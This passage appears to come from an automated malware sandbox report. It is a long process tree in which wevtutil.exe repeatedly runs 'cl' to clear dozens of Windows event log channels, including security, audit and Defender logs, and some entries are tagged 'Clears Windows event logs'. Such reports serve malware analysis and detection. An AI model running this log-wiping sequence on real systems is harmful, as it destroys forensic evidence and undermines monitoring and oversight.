    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/ManagementService"
    3⤵
    PID:21668
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Proximity-Common/Diagnostic"
    3⤵
    PID:21752
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Proximity-Common/Informational"
    3⤵
    PID:2468
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Proximity-Common/Performance"
    3⤵
    PID:21840
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Developer/Debug"
    3⤵
    - Clears Windows event logs
    PID:21872
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-InProc/Debug"
    3⤵
    PID:21968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Platform/Admin"
    3⤵
    PID:22048
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Platform/Debug"
    3⤵
    PID:14152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Platform/Operational"
    3⤵
    PID:22124
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-QoS-Pacer/Diagnostic"
    3⤵
    PID:22180
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-QoS-qWAVE/Debug"
    3⤵
    PID:22196
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC-Proxy/Debug"
    3⤵
    PID:22312
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC/Debug"
    3⤵
    PID:15860
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC/EEInfo"
    3⤵
    PID:19992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RRAS/Debug"
    3⤵
    PID:17676
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RRAS/Operational"
    3⤵
    PID:17380
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RadioManager/Analytic"
    3⤵
    PID:22452
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ras-NdisWanPacketCapture/Diagnostic"
    3⤵
    PID:22484
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RasAgileVpn/Debug"
    3⤵
    PID:6228
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RasAgileVpn/Operational"
    3⤵
    PID:3020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReFS/Operational"
    3⤵
    PID:19036
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReFsDedupSvc/Operational"
    3⤵
    PID:22556
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Analytic"
    3⤵
    PID:22596
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"
    3⤵
    - Clears Windows event logs
    PID:22604
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Analytic"
    3⤵
    PID:22636
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"
    3⤵
    PID:22652
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Regsvr32/Operational"
    3⤵
    PID:17900
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
    3⤵
    PID:22716
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Operational"
    3⤵
    PID:22692
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"
    3⤵
    PID:1332
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"
    3⤵
    PID:18760
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Tracing"
    3⤵
    PID:15924
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin"
    3⤵
    PID:19448
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Debug"
    3⤵
    PID:19944
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational"
    3⤵
    PID:6768
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-SessionServices/Operational"
    3⤵
    PID:1340
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Remotefs-Rdbss/Diagnostic"
    3⤵
    PID:13676
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Remotefs-Rdbss/Operational"
    3⤵
    PID:21112
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ResetEng-Trace/Diagnostic"
    3⤵
    PID:21048
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"
    3⤵
    PID:10128
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"
    3⤵
    PID:20604
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ResourcePublication/Tracing"
    3⤵
    PID:21460
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"
    3⤵
    PID:19444
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RetailDemo/Admin"
    3⤵
    PID:19652
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RetailDemo/Operational"
    3⤵
    PID:5452
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Graphics/Analytic"
    3⤵
    PID:7972
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Networking-BackgroundTransfer/Tracing"
    3⤵
    PID:5416
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Networking/Tracing"
    3⤵
    PID:12668
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Web-Http/Tracing"
    3⤵
    PID:12352
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-WebAPI/Tracing"
    3⤵
    PID:10096
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTAdaptiveMediaSource"
    3⤵
    PID:15420
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTCaptureEngine"
    3⤵
    PID:12828
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTMediaStreamSource"
    3⤵
    PID:5912
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTTranscode"
    3⤵
    PID:10508
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime/CreateInstance"
    3⤵
    PID:19632
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime/Error"
    3⤵
    PID:20452
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SENSE/Operational"
    3⤵
    PID:10124
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/Analytic"
    3⤵
    - Clears Windows event logs
    PID:9932
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/HelperClassDiagnostic"
    3⤵
    PID:8632
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/ObjectStateDiagnostic"
    3⤵
    - Clears Windows event logs
    PID:20716
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/Operational"
    3⤵
    PID:6316
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBDirect/Connectivity"
    3⤵
    PID:15084
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBDirect/Operational"
    3⤵
    PID:15452
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Analytic"
    3⤵
    PID:22728
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Audit"
    3⤵
    PID:11620
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Connectivity"
    3⤵
    PID:3200
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Diagnostic"
    3⤵
    PID:8060
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Operational"
    3⤵
    PID:21316
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Performance"
    3⤵
    PID:9952
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Security"
    3⤵
    PID:17928
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBWitnessClient/Admin"
    3⤵
    PID:17872
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBWitnessClient/Informational"
    3⤵
    PID:12164
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SPB-ClassExtension/Analytic"
    3⤵
    PID:16712
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SPB-HIDI2C/Analytic"
    3⤵
    PID:10668
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Schannel-Events/Perf"
    3⤵
    PID:14848
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sdbus/Analytic"
    3⤵
    PID:5000
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sdbus/Debug"
    3⤵
    PID:7232
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sdstor/Analytic"
    3⤵
    PID:22828
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Search-Core/Diagnostic"
    3⤵
    PID:3304
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Search-ProtocolHandlers/Diagnostic"
    3⤵
    PID:23056
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SearchUI/Diagnostic"
    3⤵
    PID:23092
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SearchUI/Operational"
    3⤵
    PID:23084
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecureAssessment/Operational"
    3⤵
    PID:23124
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Diagnostic"
    3⤵
    PID:23180
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"
    3⤵
    PID:23200
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-EnterpriseData-FileRevocationManager/Operational"
    3⤵
    PID:23216
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-ExchangeActiveSyncProvisioning/Operational"
    3⤵
    PID:20464
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-ExchangeActiveSyncProvisioning/Performance"
    3⤵
    PID:11436
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-IdentityStore/Performance"
    3⤵
    PID:23248
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Isolation-BrokeringFileSystem/Operational"
    3⤵
    PID:15580
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-LessPrivilegedAppContainer/Operational"
    3⤵
    PID:23300
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Mitigations/KernelMode"
    3⤵
    PID:23452
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Mitigations/UserMode"
    3⤵
    PID:12316
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Netlogon/Operational"
    3⤵
    PID:21412
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX-GC/Analytic"
    3⤵
    PID:15460
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX-GenuineCenter-Logging/Operational"
    3⤵
    PID:18032
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter"
    3⤵
    PID:17896
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX/Analytic"
    3⤵
    PID:6940
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP/Perf"
    3⤵
    PID:16756
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-UserConsentVerifier/Audit"
    3⤵
    PID:9820
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Vault/Performance"
    3⤵
    PID:16100
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecurityMitigationsBroker/Admin"
    3⤵
    PID:7812
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecurityMitigationsBroker/Operational"
    3⤵
    PID:18084
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecurityMitigationsBroker/Perf"
    3⤵
    PID:18288
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SendTo/Diagnostic"
    3⤵
    PID:12656
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sens/Debug"
    3⤵
    PID:20496
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SenseIR/Operational"
    3⤵
    PID:9956
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sensors/Debug"
    3⤵
    PID:20704
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sensors/Performance"
    3⤵
    PID:15688
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Serial-ClassExtension-V2/Analytic"
    3⤵
    PID:1464
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Serial-ClassExtension/Analytic"
    3⤵
    PID:7688
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ServiceReportingApi/Debug"
    3⤵
    PID:17868
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Services-Svchost/Diagnostic"
    3⤵
    PID:17992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Services/Diagnostic"
    3⤵
    PID:1756
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Servicing/Debug"
    3⤵
    PID:21308
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Setup/Analytic"
    3⤵
    PID:10968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupCl/Analytic"
    3⤵
    PID:18376
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupPlatform/Analytic"
    3⤵
    PID:15900
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupQueue/Analytic"
    3⤵
    PID:18660
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupUGC/Analytic"
    3⤵
    PID:13388
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ShareMedia-ControlPanel/Diagnostic"
    3⤵
    PID:18616
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AppWizCpl/Diagnostic"
    3⤵
    PID:10468
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-BootAnim/Diagnostic"
    3⤵
    PID:1788
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Common/Diagnostic"
    3⤵
    PID:18608
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredUI/Diagnostic"
    3⤵
    PID:10540
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredentialProviderUser/Diagnostic"
    3⤵
    PID:18872
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Logon/Diagnostic"
    3⤵
    PID:16348
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-LogonUI/Diagnostic"
    3⤵
    PID:20828
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Shutdown/Diagnostic"
    3⤵
    PID:20764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-ConnectedAccountState/ActionCenter"
    3⤵
    PID:6708
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/ActionCenter"
    3⤵
    - Clears Windows event logs
    PID:18832
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/AppDefaults"
    3⤵
    PID:18860
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:5020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/LogonTasksChannel"
    3⤵
    PID:7152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/Operational"
    3⤵
    PID:20924
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-DefaultPrograms/Diagnostic"
    3⤵
    PID:18904
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-LockScreenContent/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:21196
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-OpenWith/Diagnostic"
    3⤵
    PID:7896
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Shwebsvc"
    3⤵
    PID:7744
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-ZipFolder/Diagnostic"
    3⤵
    PID:16464
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ShellCommon-StartLayoutPopulation/Diagnostic"
    3⤵
    PID:4784
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ShellCommon-StartLayoutPopulation/Operational"
    3⤵
    PID:12936
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shsvcs/Diagnostic"
    3⤵
    PID:7544
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SleepStudy/Diagnostic"
    3⤵
    PID:19536
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-Audit/Authentication"
    3⤵
    PID:10384
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-DeviceEnum/Operational"
    3⤵
    PID:22812
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-TPM-VCard-Module/Admin"
    3⤵
    PID:13364
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-TPM-VCard-Module/Operational"
    3⤵
    - Clears Windows event logs
    PID:10516
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartScreen/Debug"
    3⤵
    PID:13048
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Audit"
    3⤵
    PID:10816
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Connectivity"
    3⤵
    PID:14144
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Diagnostic"
    3⤵
    PID:15604
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Security"
    3⤵
    PID:19840
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Speech-UserExperience/Diagnostic"
    3⤵
    PID:20940
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Spell-Checking/Analytic"
    3⤵
    PID:20120
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SpellChecker/Analytic"
    3⤵
    PID:20476
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Spellchecking-Host/Analytic"
    3⤵
    PID:20584
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SruMon/Diagnostic"
    3⤵
    PID:19764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SrumTelemetry"
    3⤵
    PID:20844
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Debug"
    3⤵
    PID:13708
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Diagnostic"
    3⤵
    PID:8616
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Operational"
    3⤵
    PID:10316
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Restricted"
    3⤵
    PID:8624
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorDiag/Operational"
    3⤵
    PID:7212
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorPort/Operational"
    3⤵
    PID:9232
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Admin"
    3⤵
    PID:16316
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Analytic"
    3⤵
    PID:21364
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Debug"
    3⤵
    PID:21204
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Diagnose"
    3⤵
    PID:9672
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Operational"
    3⤵
    PID:2568
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Admin"
    3⤵
    PID:9980
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Analytic"
    3⤵
    PID:12644
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Debug"
    3⤵
    PID:12472
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Diagnose"
    3⤵
    PID:19708
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Operational"
    3⤵
    PID:8208
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Admin"
    3⤵
    PID:19860
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Analytic"
    3⤵
    PID:21164
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Debug"
    3⤵
    PID:15880
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Diagnose"
    3⤵
    PID:21220
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Operational"
    3⤵
    PID:20080
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-NvmeDisk/Analytic"
    3⤵
    PID:9020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-NvmeDisk/Diagnose"
    3⤵
    PID:9160
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-NvmeDisk/Operational"
    3⤵
    PID:8320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Admin"
    3⤵
    PID:7112
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Analytic"
    3⤵
    PID:6704
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Debug"
    3⤵
    PID:3524
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Diagnose"
    3⤵
    PID:15444
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Health"
    3⤵
    PID:7880
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Operational"
    3⤵
    PID:15948
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Tiering-IoHeat/Heat"
    3⤵
    PID:16308
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Tiering/Admin"
    3⤵
    PID:17404
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageManagement-PartUtil/Operational"
    3⤵
    PID:19868
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageManagement/Debug"
    3⤵
    PID:17188
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageManagement/Operational"
    3⤵
    PID:9148
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSettings/Diagnostic"
    3⤵
    PID:10916
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Api/Operational"
    3⤵
    PID:9328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Driver/Diagnostic"
    3⤵
    PID:18296
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Driver/Operational"
    3⤵
    PID:16412
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Driver/Performance"
    3⤵
    PID:19972
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-ManagementAgent/WHC"
    3⤵
    PID:21324
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Parser/Diagnostic"
    3⤵
    PID:9352
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Parser/Operational"
    3⤵
    PID:9424
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-SpaceManager/Diagnostic"
    3⤵
    PID:20260
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-SpaceManager/Operational"
    3⤵
    PID:2460
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageVolume/Diagnostic"
    3⤵
    PID:20988
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageVolume/Operational"
    3⤵
    PID:10628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Store/Operational"
    3⤵
    PID:1156
